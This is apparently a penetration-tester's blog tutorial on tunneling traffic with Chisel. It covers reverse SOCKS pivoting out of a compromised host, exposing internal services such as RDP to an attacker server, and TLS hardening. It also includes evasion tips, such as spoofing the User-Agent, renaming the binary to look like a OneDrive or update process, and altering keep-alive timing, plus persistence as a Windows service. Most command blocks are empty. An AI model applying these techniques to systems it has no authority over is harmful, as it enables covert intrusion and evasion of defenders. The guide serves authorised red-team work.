Hey there, fellow hackers and pen testers! If you’re reading this article, you’re probably passionate about staying ahead in the game and mastering the tools that help us win big in cybersecurity. Today, I’ll be walking you through a powerful technique I’ve used in many red team engagements—tunneling traffic using Chisel, a fast TCP/UDP tunnel, transported over HTTP, secured via SSH.
While SSH dynamic forwarding is great, it often gets blocked by Deep Packet Inspection (DPI) because SSH looks like SSH. Chisel wraps that traffic in standard HTTP/WebSockets, allowing it to glide through proxy servers and firewalls like a stealth bomber.
1. Why Chisel?
Chisel is a single binary (Go-based) that acts as both client and server. Its main selling point is WebSockets.
- Firewall Bypass: WebSockets look like standard web traffic (GET / Upgrade: websocket).
- Performance: Much faster than legacy HTTP tunneling tools (like
reGeorg). - Flexibility: Supports Reverse SOCKS (
R:socks) and standard Port Forwarding (L:80:target:80). - Cross-Platform: Compile once (Go), run anywhere (Linux/Windows/Mac/Android).
Architecture Check
- Chisel Server: Usually runs on your Attack Box (C2).
- Chisel Client: Runs on the Victim (Compromised Host).
2. Mastering the Reverse SOCKS Proxy
For a red teamer, this is the bread and butter. You are inside a restrictive network. You want your entire toolkit (nmap, code, firefox) to route into that network.
Step 1: Start the Server (Your Attack Box)
The server must enable reverse tunneling (--reverse).
| |
Step 2: Start the Client (The Compromised Host)
The client connects OUT to you and requests a reverse SOCKS tunnel.
| |
What just happened?
- Client connected to Server via HTTP/WS.
- Client requested a “Reverse SOCKS” tunnel.
- Server opened port 1080 on itself.
- Any traffic you throw at
localhost:1080(Server) goes down the pipe, out the Client, and into the Target Network.
Step 3: Pivot with Proxychains
On your attack box:
| |
[!NOTE] Use
-sT(Connect Scan) with Nmap. SOCKS proxies do not support half-open (-sS) SYN scans or ICMP. Update: Chisel now supports UDP over SOCKS5! This means you can run DNS queries (dig) or even some UDP-based exploits through the tunnel.
3. Advanced Tunnels: Port Forwarding
Sometimes you don’t want a full SOCKS proxy; you just want to expose one internal service.
Reverse Port Forward (Remote Access)
“Expose the internal 3389 (RDP) on my C2 server’s port 4444.”
| |
Now, connecting to ATTACKER_IP:4444 connects you to the Victim’s RDP.
Local Port Forward (Accessing from Inside)
“Map the internal Database (10.0.0.5:1433) to my local port 1433.” This assumes you are running the Client on your machine and connecting to a Server inside.
| |
4. Hardening the Tunnel: TLS and Authentication
Running Chisel over plain HTTP (port 8080) is risky. Blue teams inspecting traffic will see the data payload.
Adding Authentication (--auth)
Prevent random internet scanners from connecting to your C2 listener.
| |
Enabling TLS (HTTPS)
Use a real SSL certificate to blend in with HTTPS traffic.
| |
5. Fingerprinting and Evasion
Chisel is popular, which means detection signatures exist.
- Custom Headers: Change the User-Agent to match typical browser traffic.
1./chisel client --header "User-Agent: Mozilla/5.0..." http://... - Timing: Chisel sends keep-alive packets. In high-security environments, modify the Go source code (
client/client.go) to change the keep-alive interval (KeepAlive) before compiling. - Renaming: Don’t drop
chisel.exe. Rename it to something innocuous likeupdate_manager.exeoronedrive_updater.exe.
Chisel vs. Ligolo-ng
When should you use what?
| Feature | Chisel | Ligolo-ng |
|---|---|---|
| Interface | SOCKS5 Proxy | Full TUN Interface |
| Protocol | TCP/UDP over HTTP | TLS / QUIC |
| Capabilities | TCP Connect only (mostly) | ICMP, SYN Scan, UDP |
| Requirements | No Admin needed | Requires Admin/Root (for TUN) |
| Use Case | Quick, low-privilege pivot | Full Network Layer Routability |
6. Persistence in Windows
You have Admin access and want Chisel to run forever. Use NSSM (Non-Sucking Service Manager) to install it as a service.
| |
Now, even if the user logs out, your tunnel stays up.
Conclusion
Chisel is the architect of modern network pivots. By mastering reverse SOCKS proxies, implementing TLS, and understanding how to evade detection, you can maintain a persistent and stealthy presence in even the most restricted environments.
Always remember: a red teamer is only as good as their ability to move laterally. Master the tunnel, and you master the network.
Happy hacking!